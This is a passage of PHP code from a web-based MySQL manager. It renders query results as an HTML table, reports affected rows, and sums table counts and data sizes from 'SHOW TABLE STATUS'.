} else {
                         while ($mn = $DB->fetch($result)) {
                             $thisbg = bg();
                             p('<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">');
                             //读取记录用
                             foreach ($mn as $key => $inside) {
                                 p('<td nowrap>' . ($inside == null ? '<i>null</i>' : html_clean($inside)) . '</td>');
                             }
                             p('</tr>');
                             unset($b1);
                         }
                     }
                     p('</table>');
                     break;
                 case 2:
                     p('<h2>Affected Rows : ' . $DB->affected_rows() . '</h2>');
                     break;
             }
         }
     }
 } else {
     $query = $DB->query("SHOW TABLE STATUS");
     $table_num = $table_rows = $data_size = 0;
     $tabledb = array();
     while ($table = $DB->fetch($query)) {
         $data_size = $data_size + $table['Data_length'];
         $table_rows = $table_rows + $table['Rows'];
         $table_num++;
         $tabledb[] = $table;
     }
     $data_size = sizecount($data_size);